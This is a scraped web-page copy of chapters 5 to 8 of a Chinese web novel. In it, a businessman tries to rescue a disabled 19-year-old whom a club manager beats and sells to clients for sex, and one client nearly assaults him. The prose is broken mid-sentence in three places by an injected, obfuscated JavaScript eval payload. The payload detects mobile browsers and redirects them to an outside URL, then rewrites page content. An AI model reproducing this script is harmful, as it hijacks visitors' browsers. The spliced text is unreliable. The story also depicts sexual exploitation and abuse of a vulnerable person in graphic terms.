见沈主镰没反应,张嗯嗯试探意味的张开嘴,舌头跑了出来,搭在嘴巴没安静两秒,就活跃的要往沈主镰嘴上舔。 “嗯嗯!” 张嗯嗯拧着眉头,发出惊吓的声音。 沈主镰的手正捏着张嗯嗯的舌头往嘴里硬塞回去,动作强硬。 “别勾引了。”沈主镰冷冰冰呵斥。 眼泪滚出来,才流下第一滴泪,张嗯嗯的眼睛就红得跟哭了三天三夜似的悲惨。 “没用,哭也没用。” 沈主镰左手捏嘴巴,右手把人塞进被子里,这是他第二次给人掖被角,动作已经熟练。 张嗯嗯还在哭,已经数不清是多少滴眼泪了,快要把枕头给濡湿。 哭是有用的。 沈主镰最终是带着哄小孩的耐心,俯下身在张嗯嗯的嘴角亲了一下。 张嗯嗯得逞的伸出舌头舔舔沈主镰的嘴巴,很快就止了哭。 他用着任务完成后的安心感舒出一口气,亲昵的往沈主镰臂弯里挤了挤,把脸颊肉挤作一团。 他藏在被子里蜷缩成很好抱住的一小块,仿佛在说: 您喜欢抱我的话,就请继续抱着我吧,我很听话。 沈主镰换了身干净浴袍睡下,就睡在张嗯嗯的身边。 这会时间凌晨三点,他给自己下属发了条短信:“带一身干净衣服过来,地址同步过去了。” 放下手机后,又忙拿起来,补充了第二条消息:“再多准备一套衣服……”沈主镰看了眼臂弯熟睡的男生,用眼睛测了测尺码:“我也不知道尺码,你往小了买。” 沈主镰放下手机,顺手搂着怀里小小一团睡着了。 第二天一早,他在客房服务的敲门声里醒来,是助理把衣服送过来了,跟着早餐一起送上门。 “你叫什么名字?”沈主镰接过餐盘放桌上,顺手把新衣服挂在衣架上比划了眼大小,随口道:“起床穿衣了,你先凑合,下周有空我带你去定制几身合适的。” 沈主镰取下衣服折回床边,这次就没那么随口了,他抿了一口呼吸,正了正神色,定定的注视,沉着声音下决定: “我会对你负责。” …… 好安静。 沈主镰把被子掀开,哪里还有活人影子,被褥里的温度都凉了半天,仿佛昨晚只是沈主镰做的一个春梦。 留给沈主镰的才不是兔子成精,是令人作呕的印有孙太监照片的硬卡纸名片,名片上的秃顶男人躺在床上,正冲沈主镰笑着打招呼。 5. 第 5 章 小尺码的衣服仍搭在沈主镰的小臂上,没精打采,有点像昨天晚上那傻子搭在他怀里累得喘气的模样。 衣服滑溜溜从小臂逃走,傻子也走了。 说不上是甩掉麻烦松了一口气,还是不告而别的放心不下,胸口始终是抿着一口不上不下的气。 沈主镰转去浴室,接了一捧水泼在脸上。 刺眼的浴室白灯亮堂堂从头顶打下来,高挺的眉骨在眼睛里划了一块幽黑深邃的地盘,像一口陷下去的深井,探究不出个虚实。 他的脑袋向一侧偏过去,折正后又偏向另一侧,他的手按在脖子上扫了两下,又迅速把视线低下去,检查自己的胸口,以及侧身从镜子里瞄后背。 干干净净,一点痕迹都没留下。 没有吻痕,没有伤痕,甚至连指甲印都没留下。 唯一留下的竟然只有秃头男人的名片。 似乎这只是沈主镰一个人的春.梦。 沈主镰干巴巴的发笑,笑了两声,戛然而止。 沈主镰折回床边,刚好电话在此时响起,是助理打来的。 “沈总,衣服托服务员送上门了,您有收到吗?” 沈主镰扫了眼挂回衣架的衣服:“收到了。” 听到沈主镰的回答,助理继续说:“今天早上有一个重组的董事会议和一个新股东会需要您出席,下午公司目前结构安排已经按照您的要求重整,需要您来验收检查。 “我已经开车在酒店门口等您了。” 沈主镰迅速将自己收拾整齐,出门前忽然脚步一顿,折回来取走衣架上的小尺码衣服,叠成一团塞进手提袋里。 酒店门口停着昨晚的深黑色宾利,门童上前帮沈主镰开门。 车门关上,主人入座,可位于驾驶位的助理没着急开车。 沈主镰遂问:“你在等谁?” 助理瞄了一眼跟着沈主镰一起上车的手提袋,他没有回答,只是默默启动引擎。 热烈的早高峰散去为温度,只剩下稀薄余温,没有太阳,天气阴沉沉的,看着随时要下雨,本该开花绽放的绿化带因为连月雨,萎靡不振的耷拉在泥地里。 路边还有捧着碗热粥边走边喝的上班族,这场景很快就让沈主镰响起那个人。 他不由得去想—— “帮我找个人。”沈主镰忽然开口。 可他又忽而一下哑口无言,那傻子的名字、身份,他一概不知,可他又对那傻子的样貌特别的清楚,就连他身上隐□□刮掉又长出的绒毛是什么颜色,都看得清清楚楚。 倒显得他是个见色起意的下流胚子,但他觉得自己不是,他只是可怜他。 助理像是料到老板会这么说,通过车内后视镜瞥了一眼手提袋:“找这身衣服的主人?这些莺莺燕燕可不值得您浪费时间,都是些……”助理没把话说完,可想着沈主镰是初来乍到不知道这家店、这些人的名声,不免又忍不住提醒道:“都不是善茬,都是些不干净、不走正路的下三滥们。” “只是可怜他。” 沈主镰理了理西服下摆,手肘不免碰到挨他坐着的手提袋,蹭出几声突兀的窸窣声。 助理叫聂航,毕业不久的毛头小子,是沈主镰自己从简历里挑的。沈主镰不喜欢上年纪的老油条。 聂航不圆滑,听不出自家主子想救风尘的意思,竟接了话茬,嘀咕道:“她们那些人,有几个不可怜?个个都可怜,没一个不可怜,您可怜的过来吗?” 沈主镰话锋一转:“你考教资了吗?” 聂航懵了,“我考那个做什么?” “去考一个吧,省的在我这屈才。” 被老板贴脸暗讽多管闲事,聂航脸涨红,抿着嘴巴开了好长一段路,才敢递过去一盒巧克力,借着机会给自己的莽撞找补:“老板,我自己准备的见面礼。那个人您还找吗?” “不找了。”沈主镰瞥了眼巧克力,放进手提包里,当做是一份完整的礼物。 如果还能遇到的话,他打算自己问。 如果。 如果的事情发生的很快。 当天中午铂金华庭的总经理向沈主镰电联发出见面邀请,地点就在铂金华庭三楼的宴会厅,时间是中午十一点。 但沈主镰被公司里的一些事绊着脚,等他到铂金华庭的时候已经是下午一点钟。 宴会厅变成喝下午茶的地方,悠扬高雅的古典乐从房顶隐藏的音响里飘出来。 食客与侍者皆轻盈的或落座、或穿行,像蝴蝶似的,在金碧辉煌的房间里起舞。 至于张嗯嗯,他仍捧着他那耐摔不锈钢饭碗呆呆的站着。 他站得太久了,从上午十一点钟到下午一点钟,饿惨了才从肚子里挖出一点点胆子,用碗沿去碰碰身边的男人,提醒对方自己饿了。 下一秒,他的碗就被摔在地上,早就不冒热气的蒸蛋拌饭摔出来。 “你还好意思吃饭?我不是让你留住沈主镰吗?结果一大早红着眼睛跑回来。你猪脑子吗?十九岁了,人话都听不懂,蠢死了!” 男人的巴掌扬起来。 张嗯嗯吓得呆住,他面对巴掌竟然不发抖,也不掉眼泪,只魂飞魄散成空心的玻璃瓶,红色的裂纹在他惨白的身上碎得无比明显。 掌风吹到张嗯嗯的脸上,巴掌没打过去。 “啧,等会你还要伺候人。”男人瞪了张嗯嗯一眼。 张嗯嗯两腿发软,跟他的破碗一样,摔在地上,全靠两条胳膊苦苦支撑,才没变成那滩垃圾似的蒸蛋拌饭。 眼泪被引力拽出来,豆大的眼泪砸进地板。 “你哭,哭吧,迟早把你眼睛哭瞎。” 张嗯嗯的眼泪,猛地一下眼泪像决堤的河,汹涌滚出,这是以前从来所没有的嚎哭程度。 原因很简单,张嗯嗯听不懂反话,他只听见了“你哭”两个字,真以为是男人大发慈悲让自己哭。 男人看他这副蠢笨模样,一个头有两个大,拽着张嗯嗯胳膊把人从地上强行扯起来,那使劲拉扯的一下,几乎快让张嗯嗯尝到胳膊脱臼的滋味。 “别哭了!再哭我真要打死你!” 张嗯嗯脸色灰白,浑身发抖,全身重量全都压在男人抓他的那只手上,整个人完全是一副骨头都被打碎的瘫痪模样。 “赵总经理,沈先生到了,正在门外等候。” 服务员叩门传话,打破了被眼泪浸得透不过气的压抑。 “让沈先生进来。” 赵经理两只手抓住张嗯嗯的胳膊,强行把人摆正,扯了两张卫生纸按在张嗯嗯眼下打着圈擦泪水。 他面朝张嗯嗯,露出警告的凶色。 一转头,赵经理换了脸,变作和气的笑容,嘴上还赔道:“沈先生,让您见笑了。” 沈主镰走进,一垂眸又看见摔在地上的不锈钢碗。 三四个服务员连忙上去,几秒钟不到就把地上收拾干净,不锈钢碗塞进张嗯嗯的手里。 赵经理上前迎接沈主镰,和颜悦色的柔声解释:“他呀,自己把饭碗摔了,就哭着闹着哄不好,昨晚上想必也没少给您添麻烦,真真是多谢沈先生的包容呢。” 沈主镰入席,赵经理的巴掌又一次送到张嗯嗯脸边,作势要打,张嗯嗯把眼泪吓得全都咽进嗓子眼里,这才让经理的手势就变成擦眼泪。 ”听话,站好了。” 张嗯嗯听话,站得很好,两只手紧紧地抓着饭碗,由于碗里没了饭,他也不再执着找人喂自己吃饭,双眼无神地垂落在地上。 沈主镰坐在主位,赵经理坐在沈主镰的左手,但两人之间还留了一个空位。 传菜的小姐们陆陆续续走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486630|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来摆盘,沈主镰的手放在空位上敲了两下,示意张嗯嗯坐到这里来。 张嗯嗯没反应,他对声音没有反应,对沈主镰这个人也没什么反应。 “沈先生,他做错了事就得罚站,醒醒脑子。” 沈主镰扫了赵经理一眼,淡声问:“傻子哪来的脑子?该吃吃该喝喝。”说完,他冲张嗯嗯招手:“过来坐。” 张嗯嗯捧着碗,向赵经理投去求救的眼神。 赵经理的名片传到沈主镰面前,直言道:“沈先生,我母亲与您算同乡,早年我与您还有过几面之缘,我敬你。”赵经理手中的酒杯敬上,“我也就不隐瞒了,这次找您就是想跟您攀攀关系,想跟您联手做个项目,双赢的好事,您觉得呢?” 沈主镰抿了一口清茶,语气轻飘飘地绕开话题:“客气了。” 同时他又没忍住用余光扫了眼一旁迷糊的傻子,傻子眼睛眯了起来,上半身像被风抽打的枝丫,摇摇晃晃站不稳。 和聪明人是打不了太极的,不然聊上三天三夜也没个结果,赵经理只能更直白的跟进, “您认可就好,具体合作方案我都梳理好了,您是初来乍到W市,资源、人脉我这边出大头,您只需要在中间做桥,利润咱们三七分,绝不让您吃亏,咱们现在就能细聊细节。” 他的身体都向着沈主镰方向前倾,送上的名片执意要交进沈主镰手中,一副不饶人的姿态。 沈主镰冲张嗯嗯招手。 张嗯嗯没反应。 他已经站得满脸汗,两颊的白头发黏在两颊,眼睛里也是汗水,湿漉漉的,嘴唇几乎要咬出血来,几根手指在不锈钢的碗里抠得发麻、发痛。 直到沈主镰接下已经送到跟前的名片,张嗯嗯才被允许坐下。 赵经理喊了一声:“嗯嗯,坐。”像喊狗似的粗暴。 沈主镰的手指点在名片上敲了敲,正敲着名片的头像,讥道:“真下作。” 赵经理不以为耻:“您谬赞。” 张嗯嗯乖乖的坐在位置上,饭碗搁在自己的腿上,没敢放上桌,他仍低着头,泪汪汪的眼睛里全是不理解。 好饿,为什么我不能吃饭? 好困,脑袋晕晕的。 张嗯嗯汗津津的头发被人用手指拨开,脸颊上的凝视变得更加明显,像太阳把他脸上的水分都烤干,只剩下干裂的盐粒,燎得皮肤炸出阵阵剧痛。 张嗯嗯只好顺势看过去,露出茫然且无辜的表情。 沈主镰问:“你叫什么名字?” 张嗯嗯又把脑袋低下去,眼睛落在饭碗里,视线胡乱在残羹剩饭里打转,像一只无头苍蝇。 沈主镰用哄孩子的语气,耐心询问:“可以告诉我你叫什么名字吗?” 可张嗯嗯是傻子,不是孩子,他听不懂这么多字的话,他也听不懂问号。 张嗯嗯始终是呆滞、凝固的。 沈主镰再怎么对他耐心,他也只会表现出盲人一般的涣散。他不会说话,他也不认识沈主镰,对于张嗯嗯而言,昨天晚上那些索吻、撒娇和求爱的对象都不是沈主镰,他们没有见过面,是陌生人。 气氛安静,又尴尬。 从好心可怜救风尘,变成沈主镰自作多情的一见钟情。 赵经理按着张嗯嗯的肩膀,笑着介绍:”沈先生,他叫张嗯嗯。”说着,手掌变成棍子,怼着张嗯嗯的脑袋点了好几下:“傻子,不会说话,也记不住人,是个麻烦家伙。” 原来“嗯嗯”那两个字,就是他的名字。 沈主镰暗暗想:“好奇怪的名字。” “您不好奇为什么取这个名字吗?” 赵经理的表情忽然变得古怪起来。 他像上世纪马戏团畸形秀的主持人,摩拳擦掌,跃跃欲试,准备好向尊贵客人展示他饲养的——畸形宠物。 6. 第 6 章 毫无征兆的,氛围变得安静极了。 只听得见滴答,滴答的声音。 这声音是从哪来的呢? 沈主镰循着声音看过去,原来是张嗯嗯被突如其来的安静吓着了。 张嗯嗯吓得直发抖,可他只能困死在中间座位上,想掉眼泪却又不敢,只能用手在饭碗里点一下,又点一下,指尖敲击出有节奏的“滴答”、“滴答”声音。 赵经理的巴掌,拍了过去。 发出了“啪!”一声,如惊雷般在张嗯嗯面前打响。 手掌合着手掌,拍出清脆的鼓掌声,并非耳光。 滴答—— 滴答! 滴答声又敲了出来,这一次却没那么清脆。 沈主镰看过去,他看明白了。 滴答,滴答。 滴答。 原来那是眼泪砸进碗里会发出的声音,手指尖敲出的声浪,代替不敢流的泪水惊出涟漪。 紧接着,滴答声变得不再单纯,扭曲畸变成了从喉咙里哼出来的甜腻腻的声音。 “嗯嗯……嗯嗯……” 呼吸被拉长了,喊出求饶的呻.吟。 “嗯嗯,嗯嗯——” “哈……嗯嗯,嗯嗯,嗯嗯。” 声音下流地从张嗯嗯张开了、撑圆了的小口里爬出来,像一根又滑又肉的舌头,湿漉漉的舔过耳廓,留下黏糊的口津,绕着耳朵内的沟壑爬进脑袋里面。 这声音沈主镰昨晚上听得够多,够明白了,他明白张嗯嗯名字里的嗯嗯,代表了他在床上喊出来的嗯嗯声。 沈主镰拽着张嗯嗯坐着的椅子往自己身边扯近,倒了一杯热水,手帕沾湿,轻轻擦去对方脸上红扑扑的泪痕。 这只手,张嗯嗯现在也不认识了,他还是怕,怕极了,怕成魂飞魄散的模样,一边喊出糜烂缠绵的声音,一边脸上又露出了惘然无助的失魂落魄。 “张嗯嗯,安静。”赵经理的命令呵斥出来。 张嗯嗯立马收声,只剩那张凄惨的白脸蛋被沈主镰护在手帕下,擦来揉去的。 “他胆子小,稍微吓一吓,就会发出这样的声音求饶。”赵经理笑着解释,语气如同介绍商品,很是满意张嗯嗯的表现,借着张嗯嗯此刻的可怜劲,他顺着这股劲往下说: “他是我去年在路边捡回来的,就在梧桐大道往西方向的第一个红绿灯下捡来的,当时下着暴雨,到处都是积水,他躺在下水道口上,堵着排水口,脏水快把他淹没了。” 沈主镰面无表情的听,既不蹙眉,也不凝神。 张嗯嗯还在他手帕下哼气。 “您是不是猜我要说他发烧晕倒了?” 沈主镰没有回答。 赵经理摆手,拔高了声音啧啧道:“才没有,他没发烧,人也没事,好胳膊好腿的,就睁着眼睛呆呆的躺在那里。” 沈主镰不说话只听着,赵经理的声音就跟手帕上滴下来的水一样,连贯不断的往外涌: “我靠近他也没反应,后来我拽着他胳膊把他弄上车,一下子就吓出了这声音,嗯嗯叫得让人不好意思,再后来就发现他是个傻子,只会发出这种声音,也不知道在遇到我之前他经历什么,反正到我手上的时候就是这副德行,怕疼怕打,不会说话,只会一个劲的嗯嗯叫.床求放过,所以大家都叫他嗯嗯。” 沈主镰垂眸审视着张嗯嗯,张嗯嗯还是那副呆呆笨笨的模样,仿佛能直接看到那个雨天,张嗯嗯就是用这张脸,这具瘦弱身躯,溺亡在下水道口。 那个时候,你能明白自己在做什么吗?张嗯嗯。 沈主镰不免替他想。 “至于为什么姓张,他来铂金华庭后有个恩客给他的姓,那客人说总是“嗯嗯”的喊他,有名无姓,像条狗,客人说自己不想日狗,所以叫他张嗯嗯。” 说到这里,总是说个没完的赵经理不做声了,他安静下来,用一双吊起来的,精算的三角眼打探沈主镰的神情。 确认了片刻后,才缓缓开口:“您别觉得是我在剥削他,是我救了他,他这样漂亮的傻子在外面一个人,迟早是要被玩死的,在我这起码还有个铂金华庭的名头护着他,别人不敢过分伤害。” 说着说着,赵经理伸出手,像捧着什么似的,送到沈主镰面前,欣慰的感慨道: “幸好嗯嗯命好,能遇到您,他终于是找到贴心靠山了,您是不知道,他表面上看着抢手,私底下可没一个人心疼他,都把他当狗似的欺负,心疼他的,您是头一个。” 一直克制的沈主镰,终归是没忍住,念了一声:“真可怜。” “真可怜。”这一声是赵经理的附和。 可怜来,可怜去的,张嗯嗯迷茫的眼神从手帕后面跑出来,并不明白身边左右的男人到底在说什么,他只眼巴巴盯着桌子上热腾腾的菜肴,手指尖点在碗里抠了抠,嘴里也嚼出mia、mia的声音。 女服务员帮桌上的人烫好碗筷,在最后一道菜上齐后,齐整整的退出,只留下一位站在角落里随时待命。 “你不吃吗?”沈主镰问张嗯嗯。 赵经理把张嗯嗯往沈主镰方向推去,手里的破碗在推搡里再一次砸地,“嗯嗯不会自己吃饭,要人喂。” 这正是张嗯嗯的一大卖点,谁会拒绝饲养一只漂亮的人形宠物? 沈主镰把自己的碗分给张嗯嗯,挑了几样他觉得适合张嗯嗯的菜肴兑饭,变成半稠不稠的样子,用勺子送到张嗯嗯唇边。 张嗯嗯的身体向沈主镰的腿上倒去,小臂枕在腿上,让他本就矮小的身体更加低人一等,脑袋向后倒,张开嘴唇发出轻轻的一声“啊”,嘴唇撑得很开,开得甚至可以用下流来形容,他的口舌毫无防备的向别人展示。 沈主镰见他这样,露出早料到的无奈,他用手指节顶在张嗯嗯的下巴上,往上一抬,眼疾手快捏住张嗯嗯手臂一把提起,强行按在座位上把张嗯嗯的姿势纠正。 “张嘴。”沈主镰说。 张嗯嗯下意识又要去讨食。 “坐好。”沈主镰使了些劲去呵斥,张嗯嗯肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈主镰捏着张嗯嗯的下巴,又往上合拢,遂说:“你把项目方案递交我的邮箱,我回头让底下人仔细研究研究,有消息了我第一时间通知你。” 这话听得赵经理心里一沉,面色却依然堆着笑。这些话不过是托词,沈主镰压根没打算接茬,不过是他给了张嗯嗯面子,没把话说死。 “那就有劳沈先生,嗯嗯与我静候佳音。” 既然沈主镰不肯松口,那赵经理也不打算放人,粗鲁地抓着张嗯嗯的肩膀把人往桌子上推,又冲一旁候着的服务员招手,示意对方把张嗯嗯带走。 心里骂了一句小彪子,要是张嗯嗯聪明一点,昨天晚上在床上不就把事情敲定了?空长了一张漂亮脸。 张嗯嗯跌跌撞撞。 迷迷糊糊中好不容易被人牵住,刚走没两步,沈主镰又忽然喊住他:“张嗯嗯。” 张嗯嗯听得懂自己的名字,他扭身转头,歪着脑袋枕在肩膀上,五官空洞地望着沈主镰。 “我给你买了新衣服,在车上。”沈主镰说。 说着,他立刻意识到这些话张嗯嗯都听不懂,旋即起身,椅子和地面刮出吭吭的摩擦声。 沈主镰向张嗯嗯走去,亦向张嗯嗯伸出手: “跟我走,我带你离开这里。” 7. 第 7 章 张嗯嗯没有任何反应,他的嘴唇微微张开,温温的气从他嘴里轻易地跳出来,他的注意力跟着这口气飘走了,眼神轻飘飘的逐着气儿往天上、往地下看,就是不看人。 跟你走?可你是谁? 你既不是我的客人,也不是我的主人,我没理由跟你走。 张嗯嗯不再看任何人。 赵经理的手马上就要掐在张嗯嗯的脖子上。 沈主镰将邀请的手收回来,用手帕擦拭了一番,得体的说道:“那下次我带来给你。” “别啊——”赵经理的手已经掐在张嗯嗯脖子上。 沈主镰摇头,向后退了一步,撤走。 他以为是自己表现出感兴趣,才导致张嗯嗯无辜受难,他想自己的确不能这么着急,否则张嗯嗯要被压力吞没。 “下次吧,下次再说,别勉强他。” 说完,沈主镰走了。 沈主镰和张嗯嗯共用过的手帕搭在桌子上,手帕的尖角攒了一滴豆大的水珠,欲坠不坠。 啪——! 一巴掌,干脆打响,打在张嗯嗯的后脑勺上,把人往前打了个趔趄。 张嗯嗯狼狈地支撑在桌子边,瑟瑟发抖,手帕上的水珠也在瑟缩里啪嗒落地。 赵经理指着张嗯嗯的脸,破口大骂:“沈家大少爷那么明显看上你了,你他妈突然要什么脸?表子一个还立上牌坊了?!你知不知道这笔生意能给老子我赚多少钱吗?!你他妈——” 说着,赵经理就要挽起袖子打人,巴掌里的活血涨得通红,着急要找个对象发泄。 张嗯嗯听不懂,但他看到手掌就知道自己马上要挨打了,身体哆嗦,眼球也哆嗦,眼珠子乱窜,撞的眼睛痛得要瞎掉似的。 “预约的客人已经到了。” 服务员在一旁悄声提醒,此时陆续进来几个女人,忙碌的身形穿行在房间里,把房间清扫的干干净净,连滴水的手帕都不忘收走。 张嗯嗯今天要伺候的男人不止一个,他很好卖。 “下次他不管说什么,你都嗯嗯答应,记住了!” 张嗯嗯害怕的发抖,他的脑袋频频点着,但说不清是因为太害怕了,细细的脖子撑不起笨笨的脑袋,还是他真的听懂了,总之他就是在不停点头,像打字机点个没完。 “哭哭哭,哭得烦死了。” 赵经理的巴掌还在天上悬着,像蓄满了力射出去的箭,蓄势待发的总要伤害些什么。 不能打脸,还不能打出伤口。 赵经理的眼神在张嗯嗯身上转了转,思来想去,他撩开张嗯嗯一侧的头发,把手拧到张嗯嗯耳朵上,就像拧螺丝似的使劲一转。 伤口藏在头发下,像生了冻疮似的阵痛。 “你啊,就长得好看,脑子蠢死了。” 赵经理的手指又敲在张嗯嗯的额头上,着重语气警告道:“记着,黄少爷最不喜欢你哭,不准哭!” 包房的大门关了又开,开了又关。 昨晚坐在豪车上的少爷终于见到张嗯嗯,他自来熟的走上前,停在张嗯嗯面前,为他弯腰低头,用手指拨弄张嗯嗯额前的刘海。 “赵经理,自从你上次跟我说过张嗯嗯的身世,我觉得非常可怜,忍不住心疼,就想多和他见见,省得他又被人欺负了。” 上次? 赵经理眼睛骨碌一转,想起来了,上一次他是这么和黄少爷说的—— “张嗯嗯以前是我邻居家孩子,后来我才了解到他是他爹妈乱.伦生下来的孩子,他父母不管他,他就只能整天跟在我后面捡剩饭饭吃,后来他长大了一些,就在铂金华庭附近晃悠,你也知道晚上这附近都是寻欢作乐的男人,张嗯嗯长得漂亮还脑子不好,给他几口吃的,就能骗回家关起来弄个几天几夜,我知道这件事的时候,和您一样又担心又心疼的,赶紧出去找,没合眼的找了好几天才找到,接回来后就放在自己身边一直养着。” “不过您放心,他没有得病,身体检查报告这些都是有的。” 哪一个故事才是真的呢?其实全都不是真的。 你想听什么他就给你编什么。 黄少爷年纪轻又追求刺激,喜欢听这些恶俗的,猎奇的,充满激情的故事。于是张嗯嗯就变成了这样一副罪孽之躯。 至于赵经理给沈主镰的那一版故事,也不过是瞧准了沈主镰救风尘的意思,随口编出来的够纯情、够可怜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486632|202047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要拯救的一版故事。 "是呢,我们嗯嗯真的非常可怜,全都仰赖少爷您的照顾。" “嗯嗯也是找到好的主人了,在遇到您之前,那些客人只当他是条狗,随意的摆弄,您是头一个可怜他的。” 同样的话,用在不同的人身上同样奏效。 而张嗯嗯的反应也是一如既往的懵懂,他从没明白过可怜的意思,他只知道发呆和害怕,还有吃饭和睡觉。 就连在床上也只当是完成任务不讨打,他并不明白其中的含义,所以他不知羞耻。 下午茶随推车端上来,黄少爷捏着张嗯嗯的下巴在掌中搓玩:“张嗯嗯,你吃饭了吗?” “黄少爷,他听不懂问句。”赵经理提醒。 黄少爷就跟逗狗似的,啧啧两声:“来吃饭。” 张嗯嗯顺从地跪下去,跪在黄少爷面前,向上仰头,张嘴吐舌,黄少爷的视线直接从外面看进喉管深处,畅通无阻。 张嗯嗯面无表情,像个情.趣娃娃似的木讷。 少爷觉得这样的张嗯嗯没意思,恶趣味的冲喉咙里吹了一口气,张嗯嗯浑身哆嗦了一下,但脸上还是那样的呆滞。 张嗯嗯听到了叮铃的响声,是解皮带的声音。 张嗯嗯下意识转眼去找赵经理,赵经理默许了黄少爷的行为,他把张嗯嗯卖给了黄少爷。 毕竟沈主镰这笔生意没做成,总得撮合第二笔生意,于是他纵容黄少爷此刻对张嗯嗯的猥亵。 张嗯嗯在这个方面出乎意料的聪明,他明白了面前捏他下巴的男人是他新的客人,既然是客人,就可以对他肆意妄为,而他也要低声下气的讨好。 少爷用手拨开他鬓发的侧发,手指绕着发丝缠了两圈,低下头放在鼻尖嗅闻。 张嗯嗯并不反抗,他保持住难受的姿势,静静等待自己马上要被强.奸的事实,像屠宰场里的牛羔,露出清澈无知的面庞,自己走进绞肉机里。 “真让人心疼,真可怜呢。” 黄少爷能不知道自己在做什么吗?他在欺凌一个傻子。 赵经理也很清楚,他在卖傻子的皮囊,却也只是习以为常的附和: “真可怜。” 8. 第 8 章 “您好,这里已经被预定了,您不能闯入。” 沈主镰的眉头往中间蹙起:“张嗯嗯在里面做什么?” 服务员垂头,只是把话重复说道:“……您不能闯入。” 沈主镰走出铂金华庭没两步,他就后悔了,又折返,前后不过五分钟。 他把车钥匙丢到门童手里,示意对方去车上拿来手提袋。 如果的事情发生的很快,那么“下次”也可以就是这一次。 他想,手提袋一直留在身边,反倒让人心烦意乱,不如现在就送出去。 沈主镰绕过面前的女服务,径直推门走入,什么规矩、什么先来后到,他全不管不顾,体面不要了,克制也不要了。 唯一的想法只有庆幸。 张嗯嗯的下巴被人捏着,面前男人的裤子正往下掉,马上就要掉下裆部,而张嗯嗯跪在地上,没有哭,没有怕,仰头露出木讷清丽的面庞,像一块实心的冰雕,只从脸颊上掉出不情愿的冷汗,好似他在融化。 好端端的乐趣又一次被人打搅。 黄少爷暴起,使劲捏住张嗯嗯的脸颊,宣誓主权一般往门口甩去瞪眼,又立刻瞪向赵经理,无声中斥问。 赵经理的两只手背到身后,紧张的揪了一把,欲言又止,上去一步又撤走一步的嗫喏。 沈主镰无视房间内的二人,他径直走到张嗯嗯跟前,顺手就把人抱起来,垫在自己手臂坐下,另一只手则紧紧护在张嗯嗯的后背。 张嗯嗯是肉眼可见的发育不良,但沈主镰之前也只是用观察的目光去看,他从没如此清晰的用双手丈量张嗯嗯的“微”和“小”。 张嗯嗯十九岁,他的身高因为疾病、营养种种问题,总之定格在一米五六,而沈主镰足有一米九八。 沈主镰抱着张嗯嗯,真真是轻而易举的抱住,像个小孩子一样,轻易就能抱进怀里坐着,自己一下子就成了张嗯嗯的全世界。 张嗯嗯没有任何反应。 他仍是块冰,冷冷的凝固,下意识双臂勾过男人肩膀,一副并不知道发生了什么事的模样。 因为前不久,赵经理才用巴掌教训过他,不许哭,不许闹,他被吓坏了。 “你谁啊?”黄少爷举起两只空空如也的手,瞪眼给赵经理甩眼刀子,破骂出声:“他谁啊?这他妈哪来的野狗啊?” 赵经理连忙冲黄少爷递眼色,又是摆手,又是摇头,嘴里无声的发出劝说:“别说话,别说话。” “这里还有我不能说话的角色?” 黄少爷的手指尖锐点地,他的表情变得不可一世起来,跟沈主镰对视的时候,低了个头的身高也挡不住他的气焰:“你谁啊?没见过你,又是谁家认回来的私生子吧?乡下来的不认识我很正常。” 黄少爷自恋地来了一番自我介绍,手掌拨过头发,叉着腰洋洋自得: “黄氏集团懂吗?我老子的。” 沈主镰转个身,抱着张嗯嗯走了。 黄少爷要追,赵经理赶紧抓着胳膊扯回来,五官难为情的挤成一团,压低了声音,劝道:“算了算了,搞不赢他的,真的算了。” 黄少爷嗖一下把两边袖子扯起来,仰着头又扯着嗓子冲门外大嚷:“还有我搞不赢的?来搞撒,搞下试试!” 赵经理没有点明“沈主镰”三个字,只在一旁赔笑脸,毕竟这两边他都得罪不起,不如就让黄少爷去得罪沈少爷。 叮铃—— 叮铃铃—— 沈主镰走后没多久,黄少爷的手机打进来一个电话。 不是他老子,也不是他爷爷的,是个陌生电话。 黄少爷疑惑地接听,电话那头清脆的标准普通话念出来: “患者你好,这里是W市精神卫生中心八角亭院区,你的住院手续已由你父亲办理完毕,请问是患者自行前往我院,还是由我院上门接送?” 黄少爷问出声:“我父亲?” “这位……”电话那头的人字正腔圆念出三个字——沈主镰先生。 “沈主镰先生不是你的父亲吗?” 黄少爷气得把手机甩了,一个扭头瞪着赵经理,抄起桌子上的烟灰缸往人身上砸去。 赵经理躲了烟灰缸,无奈摊手,把关系撇得一干二净。 沈主镰带张嗯嗯回了他在W市的公寓。 他抱张嗯嗯上车的时候,张嗯嗯没有表情。 他跟张嗯嗯说手提袋里是买给张嗯嗯的衣服,张嗯嗯依然没有表情。 车到站,该下车了,张嗯嗯被抱下车,依旧是那副魂不守舍,空落落的模样。 外面的紫外线对张嗯嗯而言,太恐怖了,要把他照到融化,尽管他已经竭力往沈主镰外套下钻,可是他的皮肤还是被燎得发了红。 不知道是不是因为张嗯嗯正在融化的缘故,沈主镰总觉得张嗯嗯越抱越轻,轻到他觉得张嗯嗯要流走,他不敢在外面多逗留,急匆匆带人躲进公寓里。 沈主镰的公寓很冷清,毕竟这才是他到W市的第三天,很多东西都是全新的,包括主卧的大床。 